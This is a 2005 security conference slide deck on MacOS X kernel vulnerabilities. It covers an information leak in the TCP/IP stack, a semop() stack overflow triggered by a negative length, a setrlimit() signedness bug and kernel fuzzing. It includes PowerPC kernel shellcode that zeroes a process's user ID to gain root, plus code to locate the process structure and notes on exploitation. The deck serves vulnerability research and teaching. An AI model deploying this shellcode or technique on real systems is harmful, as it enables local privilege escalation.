

MacOS X Kernel Insecurity



IT Underground Warsaw 2005

Ilya van Sprundel <ilja@suresec.org>
Christian Klein <kleinc@cs.bonn.edu>

Agenda

- Introduction to MacOS X
- Information Leakage
- Buffer Overflows
- Kernel - Userland Interaction

Introduction

- Ilya van Sprundel works for Suresec Ltd
- Christian Klein is student at University of Bonn
- We like breaking stuff, MacOS X and breaking MacOS X



Why we chose the kernel?


- it's fun to play with and a good opportunity to learn a lot
- much harder to strip down than userland applications
- full control in ring 0

What is MacOS X?

- a (not so) modern operating system
- a graphical user interface (Aqua)
- lots of userland applications
- a kernel layer (Darwin)
- runs on PowerPC



What is Darwin?

- the kernel layer of MacOS X
- an operating system on its own
- UNIX based (“rock-solid”) 
- runs on PowerPC and Intel 80x86
- it's Open Source

```
Darwin WOPR 8.2.0 Darwin Kernel Version 8.2.0: Fri Jun 24  
17:46:54 PDT 2005; root:xnu-792.2.4.obj~3/RELEASE_PPC Power  
Macintosh powerpc
```

What is XNU?

- the kernel of MacOS X and Darwin
- based on FreeBSD
 - VFS, networking, system calls
- based on Mach 3.0
 - memory management, task management, IPC
- fancy C++ device driver model called IOKit
- it's Open Source

Auditing MacOS X

- the kernel is Open Source, get it at <http://www.opensource.apple.com/>
- remote kernel debugging with gdb
 - on boot, on panic
- remote kernel debugging with ddb
 - you need a self built kernel

Auditing MacOS X

- MacOS X' code base is pretty old
 - (10.1 : FreeBSD 3, 10.2: FreeBSD 4, 10.3: FreeBSD 5 - but what, the userland?)
 - NeXTstep
- read Security Advisories of FreeBSD (OpenBSD, NetBSD as well)

Information Leaks

- a bug in the kernel that allows disclosure of kernel memory
- can contain sensitive data
- usually easy to trigger and to exploit

Information Leak in TCP/IP stack

```
struct ifreq ifr, *ifrp;
...
for (; space > sizeof (ifr) && ifp; ifp = ifp->if_link.tqe_next) {
    char workbuf[64];
    int ifnlen, addrs;
    ifnlen = snprintf(workbuf, sizeof(workbuf),
                     "%s%d", ifp->if_name, ifp->if_unit);
    if(ifnlen + 1 > sizeof ifr.ifr_name) {
        error = ENAMETOOLONG;
        break;
    } else {
        strcpy(ifr.ifr_name, workbuf);
    }
    ...
    if (sa->sa_len <= sizeof(*sa)) {
        ifr.ifr_addr = *sa;
        error = copyout((caddr_t)&ifr, (caddr_t)ifrp, sizeof (ifr));
        ifrp++;
    }
}
```

Information leaks

- there are a few more in the ancient AppleTalk code

Buffer Overflows

- known for a *very* long time
- exist in the kernel as well
 - exploitable
 - more serious attack vector

Stack based buffer overflows

(refreshing your memory)

- data is written beyond the boundaries of a reserved part of the stack
- the goal is to overwrite sensitive information
- a saved instruction pointer (**pc**) is usually located in this array
- if something goes wrong, the application **WILL** crash

Stack based buffer overflows

(refreshing your memory)

- the saved instruction pointer points to the instruction to execute after the return
- we can write arbitrary values (addresses) to it
- if we can store our own instructions, we can control the execution

Stack based buffer overflows

(refreshing your memory)

- instructions you inject and want to be executed are referred to as shellcode
- in userland, shellcode will usually spawn a shell or open a network connection
- usually, there are restrictions (size, 0 bytes)

Developing PPC shellcode

- PPC has fixed instruction size of 32 bit
- big endian byte order
- nop instruction contains 0 byte:
0x60000000 (replace with 0x60606060)
- LESS documentation

Buffer overflows in the Darwin kernel

- there are a few (unfixed)
- mostly inherited from BSD code

Developing shellcode for Darwin

- in kernel, you cannot call 'execve'
 - but there are a lot of other interesting things
- we can change the user id of a process
 - each process has the user id stored in the kernel
 - our shellcode has to find and overwrite it

Developing shellcode for Darwin

- finding the process structure of a process is easier than you might think
- MacOS X has a mechanism for it:
 - a `sysctl()` call, just before the exploit

Developing shellcode for Darwin

```
long get_addr(pid_t pid) {
    int i, sz = sizeof(struct kinfo_proc), mib[4];
    struct kinfo_proc p;
    mib[0] = 1; mib[1] = 14;
    mib[2] = 1; mib[3] = pid;
    if((i = sysctl(&mib, 4, &p, &sz, 0, 0)) == -1) {
        perror("sysctl()");
        exit(0);
    }
    return(p.kp_eproc.e_paddr);
}
```

Developing shellcode for Darwin

- now the address of the structure is known
- find the right field and set it to 0 (uid of root)

```
struct proc {
    LIST_ENTRY(proc) p_list; /* list of all processes */

    /* substructures: */
    struct pcred *p_cred; /* Proccess owner's identity */
    ...
}
struct pcred {
    struct lock__bsd__ pc_lock;
    struct ucred *pc_ucred; /* Current credentials */
    uid_t p_ruid;          /* Real user id */
    uid_t psvuid;         /* Saved effective user id */
    gid_t p_rgid;         /* Real group id */
    gid_t p_svgid;        /* Saved effective group id */
    int p_refcnt;         /* Numbers of references */
}
```

Developing shellcode for Darwin

Basic Darwin kernel shell code:

```
int kshellcode[] = {
    0x3ca0aabb,          // lis r5, 0xaabb
    0x60a5ccdd,          // ori r5, r5, 0xccdd
    0x80c5ffa8,          // lwz r6,
    88(r5) 0x80e60048,    // lwz r7,
    72(r6) 0x39000000,    // li r8,0
    0x9106004c,          // stw r8,
    76(r6) 0x91060050,    // stw r8,
    80(r6) 0x91060054,    // stw r8,
    84(r6) 0x91060058,    // stw r8,
    88(r6) 0x91070004     // stw r8, 4(r7)
}
```

Returning from shellcode

- in most userland applications, there is not need to return
- when we do not care, the kernel WILL panic
- there are two solutions:
 - calculate where to return and reconstruct everything we broke
 - call `IOSleep()`
- we chose the second option ;-)

Stack overflow in Darwin

```
struct semop_args {
    int    semid;
    struct sembuf *sops;
    int    nsops;
};

int
semop(p, uap, retval)
    struct proc *p;
    register struct semop_args *uap;
    register_t *retval;
{
    int semid = uap->semid;
    int nsops = uap->nsops;
    struct sembuf sops[MAX_SOPS];
    ...
    if (nsops > MAX_SOPS) {
        UNLOCK_AND_RETURN(E2BIG);
    }

    if ((eval = copyin(uap->sops, &sops, nsops * sizeof(sops[0]))) != 0) {
        UNLOCK_AND_RETURN(eval);
    }
    ...
}
```

copyin() problem and the solution

- Problem: we would copy too much and the stack space would exhaust
- copyin() does some tests on the userland address: it will stop when a read error occurs
- we have to place a unreadable page right behind our shellcode (*mprotect*)

Stack overflow in Darwin

- there **is** a length check on nsops, but not for negative values
- copyin() copies data from userland to kernel space
- third argument is size
 - copyin() treats signed value as unsigned
 - that means > 2 GB

Another problem: finding the shellcode

- since we're in kernel space, it's a one shot
- we need to know the exact address of the code
- using the nsops array might be too risky
- we can just use userland data (as long as it's valid)
- we can determine userland addresses with ease

Kernel bugs that compromise the userland

- not all bugs in the kernel need to be exploited in kernel space
- some require userland interaction
- examples: ptrace() bugs, file descriptor closing bugs, ...

Kernel Bug setrlimit()

```
extern int maxfiles;
extern int maxfilesperproc;
typedef int64_t rlim_t;

struct rlimit {
    rlim_t rlim_cur;    /* current (soft) limit
*/
    rlim_t rlim_max;    /* maximum value for
rlim_cur */
};
```

setrlimit()

```
int dosetrlimit(struct proc *p, u_int which, struct rlimit *limp) {
    register struct rlimit *alimp;
    ...
    alimp = &p->p_rlimit[which];
    if (limp->rlim_cur > alimp->rlim_max || limp->rlim_max > alimp->rlim_max)
        if (error = suser(p->p_ucred, &p->p_acflag))
            return (error);
    ...
    switch (which) {
    ...
    case RLIMIT_NOFILE:
        /* Only root can set the maxfiles limits, as it is systemwide resource */
        if ( is_suser() ) {
            if (limp->rlim_cur > maxfiles)
                limp->rlim_cur = maxfiles;
            if (limp->rlim_max > maxfiles)
                limp->rlim_max = maxfiles;
        } else {
            if (limp->rlim_cur > maxfilesperproc)
                limp->rlim_cur = maxfilesperproc;
            if (limp->rlim_max > maxfilesperproc)
                limp->rlim_max = maxfilesperproc;
        }
        break;
    ...
}
```

setrlimit()

- all values used are signed, negative rlimits can be used
- will pass all super user checks
- when comparisons are done in other pieces of code there is always an unsigned cast
- We can open a lot more files than initially intended (there is still a system limit that will be enforced !)
- a denial of service using dup2() is possible
- getdtablesize() will return a negative value

setrlimit()

- getdtablesize() returns the max value of file descriptors that a process can open
- some programs use this in a for() loop to close all open fds before spawning a new process.
- one of those is pppd which is suid root and opens a lot of interesting files.
- File descriptors and rlimits get inherited through execve().

```
int getdtablesize(p, uap, retval) {
    *retval = min((int)p->p_rlimit[RLIMIT_NOFILE].rlim_cur,
                  maxfiles);
    return (0);
}
```

Auditing MacOS X

Addendum

- Fuzzing is absolutely en vogue
 - using semi-valid data to bypass initial checks but then cause a lot of trouble
- Fuzzing
 - syscall arguments
 - binary loader

Fuzzing MacOS X syscall arguments

- generate a random syscall number
 - OS X has some negative syscall numbers
- generate arguments
 - some random numbers
 - some valid userland addresses with random data
 - ...

Fuzzing MacOS X syscall arguments

- the quality of your fuzzer depends on the time you spend on it
- example: `socket()` fuzzing
 - `setsockopt()`, `getsockopt()`, `bind()`, ...

Fuzzing MacOS X

binary file fuzzing

- brute force fuzzing:
 - take a valid file
 - randomly modify bytes
 - very shocking results with little effort
- targets:
 - Mach-O loader
 - disk images (dmg)

Fuzzing MacOS X

available software

- the FreeBSD Kernel Stress Test Suite
 - MacOS X port, see <http://blogs.23.nu/c0re/stories/9914/>
- mangle - a rude brute force fuzzer
 - <http://ilja.netric.org/files/fuzzers/mangle.c>

Brownfields in the Kernel

- AppleTalk is a network stack designed like the OSI model
- Apple about the AppleTalk.framework: *Do not use.*
- lots of heap overflows and information leaks
- hard to read, hard to test

Security at Apple

- Apple fixes silently, without CVS commit
- it takes a long time until they respond
- many bugs are inherited
- they use obfuscation
 - example: syscall table

Security at Apple

- kernel rootkits alter the syscall table
- since 10.4, Apple hides the syscall table
 - sysent is not an exported kernel symbol any longer
 - nsysent is
 - could sysent be $\&\text{nsysent} - \text{nsysent} \times \text{sizeof}(\text{struct sysent})$?

Thanks for listening!

Get the slides at

<http://c0re.23.nu/~chris/presentation/itug-mac.pdf>